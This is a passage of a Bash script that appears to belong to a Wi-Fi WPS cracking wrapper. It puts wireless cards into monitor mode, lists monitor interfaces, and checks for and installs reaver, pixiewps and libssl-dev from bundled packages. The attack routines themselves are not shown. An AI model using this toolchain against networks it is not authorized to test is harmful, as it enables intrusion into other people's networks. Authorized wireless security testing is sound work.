ifconfig $wlan down && iwconfig $wlan mode monitor && ifconfig $wlan up > /dev/null 2> /dev/null &
PID="$!"
Loading
trap - SIGINT SIGQUIT SIGTSTP
mode_monitor="active"
elif [ "$VerCar" -le 0 ] && [ "$menu" -eq 6 ]
then
echo ""
sleep 0.5
echo -e $White" [${Red}!${White}] Is no wireless device to put into${Green} monitor mode${White} ."
echo ""
sleep 0.5
elif [ $VerCar -le 0 ] && [ "$VerMon" = "" ]
then
echo ""
sleep 0.5
echo -e $White" [${Red}!${White}] Wireless Card${Red} Not Found${White} ."
sleep 0.5
fi
VerMon=`iwconfig 2>&1 | grep 'Mode:Monitor'`
VerCar=`iwconfig 2>&1 | grep 'ESSID' | wc -l`
}
Mode_Monitor_Print_Function() {
GET_INTERFACE_CHIPSET
NUM_INT_CHIP=1
Count_INT=0
max_si=0
max_cs=0
for (( c=1; c<${GIC}; c++))
do
m[$c]=`iwconfig 2>&1 | grep "${INTERFACE[$c]}" | grep "Mode:Monitor" | awk '{print $1}'`
if [ "${m[$c]}" != "" ]
then
Count_INT=$((Count_INT+1))
Interface[$Count_INT]=${INTERFACE[$c]}
Chipset[$Count_INT]=${CHIPSET_VAR[$c]}
NUM_INT_CHIP=$((NUM_INT_CHIP+1))
fi
if [ "${#Chipset[$Count_INT]}" -gt "$max_cs" ]
then
max_cs=${#Chipset[$Count_INT]}
fi
if [ "${#Interface[$Count_INT]}" -gt "$max_si" ]
then
max_si=${#Interface[$Count_INT]}
fi
done
NUM_INT_CHIP=$((NUM_INT_CHIP-1))
max_s=${max_cs}
Nm_s=7
table
max_cs1=$max_s1
max_cs2=$max_s2
max_csd=$max_sd
max_s=${max_si}
Nm_s=9
table
max_si1=$max_s1
max_si2=$max_s2
max_sid=$max_sd
echo -e "[+] We found$Green ${NUM_INT_CHIP}$White monitor mode."
echo ""
max_si4=""
for (( TS=$((${#max_sid}+1));TS<=9;TS++))
do
max_si4=${max_si4}-
done
echo -e "${White} +${Yellow}----${White}+${Yellow}--${max_sid}${max_si4}---${max_csd}---${White}+"
echo -e "${Yellow} |${Red} ID${Yellow} |${Cyan} Interface${max_si2}${Yellow} |${Green} Chipset${max_cs2}${Yellow} |"
echo -e "${White} +${Yellow}----${White}+${Yellow}--${max_sid}${max_si4}---${max_csd}---${White}+"
If_Print_Num="$NUM_INT_CHIP"
for (( c=1; c<=${Count_INT}; c++))
do
If_Print
done
echo -e "${White} +${Yellow}----${White}+${Yellow}--${max_sid}${max_si4}---${max_csd}---${White}+"
}
Ver_Mon_Fun() {
cou_mon=`iwconfig 2>&1 | grep 'Mode:Monitor' | wc -l`
if [ $cou_mon -eq 1 ]
then
mon=`iwconfig 2>&1 | grep Mode:Monitor | awk '{print $1}'`
elif [ $cou_mon -gt 1 ]
then
Mode_Monitor_Print_Function
echo ""
echo ""
V_number=0
while [ "$V_number" != "1" ]
do
echo -en "\033[1A\033[2K"
echo -e -n "\r${White}[+] select$Red number$White of interface to use for capturing [${Green}1-${NUM_INT_CHIP}$White]:$Green"
read number
if [[ "$number" =~ ^[+-]?[0-9]+$ ]]
then
if [ $number -ge 1 ] && [ $number -le ${NUM_INT_CHIP} ]; then
V_number=1
mon=${Interface[$number]}
else
V_number=0
fi
else
V_number=0
fi
done
fi
}
Loading() {
disown $PID
Finish=0
count=0
echo ""
echo -en "\033[1A\033[2K"
while [ "$Finish" == 0 ]
do
Ver_Ins=`ps -A | grep -w $PID`
if [ "$Ver_Ins" == "" ]
then
echo ""
echo -en "\033[1A\033[2K"
echo -ne "$White[${Green} ok ${White}] $End_Msg"
Finish=1
else
if [ "$count" -eq 1 ]
then
echo -ne "\r$White[${Red}* ${White}] $Wait_Msg"
elif [ "$count" -eq 2 ]
then
echo -ne "\r$White[${Red} * ${White}] $Wait_Msg"
elif [ "$count" -eq 3 ]
then
echo -ne "\r$White[${Red} * ${White}] $Wait_Msg"
else
echo -ne "\r$White[${Red} *${White}] $Wait_Msg"
count=0
fi
Finish=0
count=$(($count+1))
sleep 0.2
fi
done
echo ""
}
Installation() {
echo -ne "\r$white [${Red}wait${White}] $NOP not found ..."
sleep 2
dpkg -i $NOPI > /dev/null 2> /dev/null &
PID="$!"
disown $PID
Finish=0
count=0
echo ""
echo -en "\033[1A\033[2K"
while [ "$Finish" == 0 ]
do
Ver_Ins=`ps -A | grep -w $PID`
if [ "$Ver_Ins" == "" ]
then
echo ""
echo -en "\033[1A\033[2K"
echo -ne "$White [${Green} ok ${White}] Installation of$Green $NOP$White is done ."
Finish=1
else
if [ "$count" -eq 1 ]
then
echo -ne "\r$White [${Red}* ${White}] Please wait until the$Green $NOP$White is installed ."
elif [ "$count" -eq 2 ]
then
echo -ne "\r$White [${Red} * ${White}] Please wait until the$Green $NOP$White is installed ."
elif [ "$count" -eq 3 ]
then
echo -ne "\r$White [${Red} * ${White}] Please wait until the$Green $NOP$White is installed ."
else
echo -ne "\r$White [${Red} *${White}] Please wait until the$Green $NOP$White is installed ."
count=0
fi
Finish=0
count=$(($count+1))
sleep 0.2
fi
done
echo ""
}
Ver_Pckg_Tools() {
reaver 2&> ${Temporary}/Ver_Reaver.txt 2> /dev/null
hash pixiewps 2> /dev/null
Ver_Pixiewps="$?"
Pixiewps_Version=`pixiewps 2>&1 | grep -w "Pixiewps" | cut -d" " -f3 | tr -d "." 2> /dev/null`
if [[ "$Pixiewps_Version" =~ ^[+-]?[0-9]+$ ]]
then
echo "" > /dev/null
else
Pixiewps_Version="1"
fi
hash airmon-ng 2> /dev/null
Aircrack_Suite="$?"
Ver_Reaver=`cat ${Temporary}/Ver_Reaver.txt | grep 'mod by t6_x'`
VerMon=`iwconfig 2>&1 | grep 'Mode:Monitor'`
VerCar=`iwconfig 2>&1 | grep 'ESSID' | wc -l`
Tools_Folder=`ls -l | grep -E 'Tools$' | grep -E '^d'`
Uname=`uname -m`
Exit=0
rm -rf ${Temporary}/Ver_Reaver.txt
echo ""
hash dpkg 2> /dev/null
hash_dpkg="$?"
if [ $hash_dpkg -eq 0 ]
then
Ver_libssl_dev=`dpkg -l | grep -w "libssl-dev"`
if [ "$Ver_libssl_dev" = "" ] && [ "$Tools_Folder" != "" ]
then
if [ "$Ver_Pixiewps" -ge "1" ] || [ "$Ver_Reaver" = "" ]
then
NOP="Libssl-dev"
if [ $Uname == 'i686' ]
then
NOPI="libssl-dev_1.0.2g-1_i386.deb"
cd Tools/32bits
Installation
cd ../..
else
NOPI="libssl-dev_1.0.2g-1_amd64.deb"
cd Tools/64bits
Installation
cd ../..
fi
fi
elif [ "$Ver_libssl_dev" = "" ]
then
if [ "$Ver_Pixiewps" -ge "1" ] || [ "$Ver_Reaver" = "" ]
then
NOP="Libssl-dev"
echo -ne "\r$white [${Red}wait${White}] $NOP not found ..."
Exit=1
sleep 1
fi
fi
if [ "$Ver_Pixiewps" -ge "1" ] && [ "$Tools_Folder" != "" ] || [ "$Pixiewps_Version" -lt "12" ] && [ "$Tools_Folder" != "" ]
then
NOP="Pixiewps"
if [ $Uname == 'i686' ]
then
NOPI="pixiewps_1.2.2_i386.deb"
cd Tools/32bits
Installation
cd ../..
else
NOPI="pixiewps_1.2.2_amd64.deb"
cd Tools/64bits
Installation
cd ../..
fi
elif [ "$Ver_Pixiewps" -ge "1" ]
then
NOP="Pixiewps"
echo -ne "\r$white [${Red}wait${White}] $NOP not found ..."
Exit=1
sleep 1
fi
if [ "$Ver_Reaver" = "" ] && [ "$Tools_Folder" != "" ]
then
NOP="Reaver"
if [ $Uname == 'i686' ]
then
NOPI="reaver_1.5.2.1_i386.deb"
cd Tools/32bits
Installation
cd ../..
else
NOPI="reaver_1.5.2.1_amd64.deb"
cd Tools/64bits
Installation
cd ../..
fi
elif [ "$Ver_Reaver" = "" ]
then
NOP="Reaver"